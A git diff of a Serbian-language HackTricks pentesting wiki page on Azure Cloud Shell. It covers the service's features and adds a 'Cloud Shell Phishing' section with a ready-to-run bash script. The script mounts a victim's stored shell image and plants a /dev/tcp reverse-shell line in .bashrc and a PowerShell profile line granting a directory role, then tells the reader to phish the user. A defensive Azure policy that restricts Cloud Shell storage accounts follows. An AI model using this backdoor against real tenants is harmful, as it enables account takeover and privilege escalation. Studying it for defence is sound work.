mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/azure-security/az-services/az-cloud-sh
This commit is contained in:
@@ -4,25 +4,113 @@
|
||||
|
||||
## Azure Cloud Shell
|
||||
|
||||
**Azure Cloud Shell** je interaktivni, autentifikovani terminal dostupan preko pregledača, dizajniran za upravljanje Azure resursima, nudeći fleksibilnost rada sa Bash ili PowerShell. Pokreće se na privremenom, po sesiji hostu koji se isključuje nakon 20 minuta neaktivnosti, dok se datoteke čuvaju na lokaciji $HOME koristeći deljenje datoteka od 5 GB. Cloud Shell se može pristupiti kroz više tačaka, uključujući Azure portal, shell.azure.com, Azure CLI i PowerShell dokumentaciju, Azure mobilnu aplikaciju i Visual Studio Code Azure Account ekstenziju.
|
||||
**Azure Cloud Shell** je interaktivni, autentifikovani terminal dostupan preko pregledača, dizajniran za upravljanje Azure resursima, nudeći fleksibilnost rada sa Bash ili PowerShell. Pokreće se na privremenom, po sesiji hostu koji se isključuje nakon 20 minuta neaktivnosti, dok se datoteke čuvaju na lokaciji $HOME koristeći deljenje datoteka od 5 GB. Cloud Shell može se pristupiti kroz više tačaka, uključujući Azure portal, shell.azure.com, Azure CLI i PowerShell dokumentaciju, Azure mobilnu aplikaciju i Visual Studio Code Azure Account ekstenziju.
|
||||
|
||||
Nema dozvola dodeljenih ovoj usluzi, stoga nema tehnika eskalacije privilegija. Takođe, ne postoji nikakva vrsta enumeracije.
|
||||
|
||||
### Ključne karakteristike
|
||||
|
||||
**Okruženje**: Azure Cloud Shell pruža sigurno okruženje pokretanjem na Azure Linux, Microsoftovoj vlastitoj Linux distribuciji dizajniranoj za cloud infrastrukturu. Svi paketi uključeni u Azure Linux repozitorijum su interno kompajlirani od strane Microsofta kako bi se zaštitili od napada na lanac snabdevanja.
|
||||
**Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
|
||||
**$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje. Odabirom da ne povežete skladište stvara se ephemerna sesija u kojoj se datoteke brišu kada sesija završi. Da biste sačuvali datoteke između sesija, montirajte nalog za skladištenje, koji se automatski povezuje kao **$HOME\clouddrive**, sa vašim **$HOME** direktorijumom sačuvanim kao **.img** datoteka u Azure File Share. Međutim, datoteke van $HOME i stanja mašine se ne čuvaju. Za sigurno čuvanje tajni poput SSH ključeva, koristite Azure Key Vault.
|
||||
**Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima poput Compute, Network i Storage koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj kućni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska.
|
||||
**Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama.
|
||||
- **Preinstalirani alati**: Cloud Shell uključuje sveobuhvatan set preinstaliranih alata kao što su Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git i tekstualni editori poput vim, nano i emacs. Ovi alati su spremni za korišćenje. Da biste naveli instalirane pakete i module, možete koristiti "Get-Module -ListAvailable", "tdnf list" i "pip3 list".
|
||||
- **Azure disk (Azure:)**: PowerShell u Azure Cloud Shell uključuje Azure disk (Azure:), koji omogućava lako navigiranje Azure resursima kao što su Računanje, Mreža i Skladište koristeći komande slične datotečnom sistemu. Pređite na Azure disk sa cd Azure: i vratite se u svoj početni direktorijum sa cd ~. I dalje možete koristiti Azure PowerShell cmdlets za upravljanje resursima sa bilo kog diska.
|
||||
- **Instalacija prilagođenih alata**: Korisnici koji konfigurišu Cloud Shell sa nalogom za skladištenje mogu instalirati dodatne alate koji ne zahtevaju root dozvole. Ova funkcija omogućava dalju prilagodbu okruženja Cloud Shell, omogućavajući korisnicima da prilagode svoj setup svojim specifičnim potrebama.
|
||||
- **$HOME postojanost**: Kada prvi put pokrenete Azure Cloud Shell, možete ga koristiti sa ili bez povezanog naloga za skladištenje.
|
||||
- Odabirom da ne povežete skladište stvara se ephemerna sesija gde se datoteke brišu kada sesija završi.
|
||||
- Da biste sačuvali datoteke između sesija, imate opciju da **montirate nalog za skladištenje**, koji se automatski povezuje kao `$HOME\clouddrive`, sa vašim `$HOME` direktorijumom **sačuvanim kao .img datoteka u File Share.**
|
||||
|
||||
### Cloud Shell Phishing
|
||||
|
||||
Ako napadač pronađe slike drugih korisnika u Skladišnom nalogu kojem ima pristup za pisanje i čitanje, moći će da preuzme sliku, **doda bash i PS backdoor u nju**, i ponovo je otpremi u Skladišni nalog tako da će sledeći put kada korisnik pristupi shell-u, **komande biti automatski izvršene**.
|
||||
|
||||
- **Preuzmi, backdoor i otpremi sliku:**
|
||||
```bash
|
||||
# Download image
|
||||
mkdir /tmp/phishing_img
|
||||
az storage file download-batch -d /tmp/phishing_img --account-name <acc-name>
|
||||
|
||||
# Mount image
|
||||
cd /tmp/phishing_img/.cloudconsole
|
||||
mkdir /tmp/cloudpoison
|
||||
sudo mount acc_username.img /tmp/cloudpoison
|
||||
cd /tmp/cloudpoison
|
||||
sudo mkdir .config
|
||||
sudo mkdir .config/PowerShell
|
||||
sudo touch .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
sudo chmod 777 .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
|
||||
# Bash backdoor
|
||||
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/${SERVER}/${PORT} 0>&1 &)' >> .bashrc
|
||||
|
||||
# PS backdoor
|
||||
echo "Connect-AzureAD; Add-AzureADDirectoryRoleMember -ObjectId 1246bcfd-42dc-4bb7-a86d-3637ca422b21 -RefObjectId 1D8B2447-8318-41E5-B365-CB7275862F8A" >> .config/PowerShell/Microsoft.PowerShell_profile.ps1
|
||||
cd /tmp
|
||||
|
||||
sudo umount /tmp/cloudpoison
|
||||
|
||||
# Upload image
|
||||
az storage file upload --account-name <acc-name> --path ".cloudconsole/acc_username.img" --source "./tmp/phishing_img/.cloudconsole/acc_username.img"
|
||||
```
|
||||
- **Zatim, phishingujte korisnika da pristupi https://shell.azure.com/**
|
||||
|
||||
### Pronađite i zabranite automatske naloge za skladištenje Cloud Shell-a
|
||||
|
||||
Nalozi za skladištenje koje kreira Cloud Shell su označeni sa **`ms-resource-usage:azure-cloud-shell`**. Moguće je kreirati Azure politiku resursa koja onemogućava kreiranje resursa sa ovom oznakom.
|
||||
|
||||
Pronađite sve naloge za skladištenje koje je kreirao Cloud Shell po oznakama:
|
||||
```bash
|
||||
az storage account list --output json | jq '.[] | select(.tags["ms-resource-usage"]=="azure-cloud-shell")'
|
||||
```
|
||||
Politika koja zabranjuje kreiranje automatskih naloga za skladištenje za skladište cloud shell-a na osnovu oznaka:
|
||||
```json
|
||||
{
|
||||
displayName: "Restrict cloud shell storage account creation",
|
||||
description: "Storage accounts that you create in Cloud Shell are tagged with ms-resource-usage:azure-cloud-shell. If you want to disallow users from creating storage accounts in Cloud Shell, create an Azure resource policy for tags that is triggered by this specific tag. https://learn.microsoft.com/en-us/azure/cloud-shell/persisting-shell-storage#restrict-resource-creation-with-an-azure-resource-policy",
|
||||
metadata: {
|
||||
category: "Storage",
|
||||
version: "1.0.0"
|
||||
},
|
||||
mode: "All",
|
||||
parameters: {
|
||||
effect: {
|
||||
type: "String",
|
||||
metadata: {
|
||||
displayName: "Effect",
|
||||
description: "Deny, Audit or Disabled the execution of the Policy"
|
||||
},
|
||||
allowedValues: [
|
||||
"Deny",
|
||||
"Audit",
|
||||
"Disabled"
|
||||
],
|
||||
defaultValue: "Audit"
|
||||
}
|
||||
},
|
||||
policyRule: {
|
||||
if: {
|
||||
allOf: [
|
||||
{
|
||||
field: "type",
|
||||
equals: "Microsoft.Storage/storageAccounts"
|
||||
},
|
||||
{
|
||||
field: "tags['ms-resource-usage']",
|
||||
equals: "azure-cloud-shell"
|
||||
}
|
||||
]
|
||||
},
|
||||
then: {
|
||||
effect: "[parameters('effect')]"
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Reference
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
|
||||
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
|
||||
|
||||
## Postojanost
|
||||
|
||||
## Persistencija
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-cloud-shell-persistence.md
|
||||
|
||||
Reference in New Issue
Block a user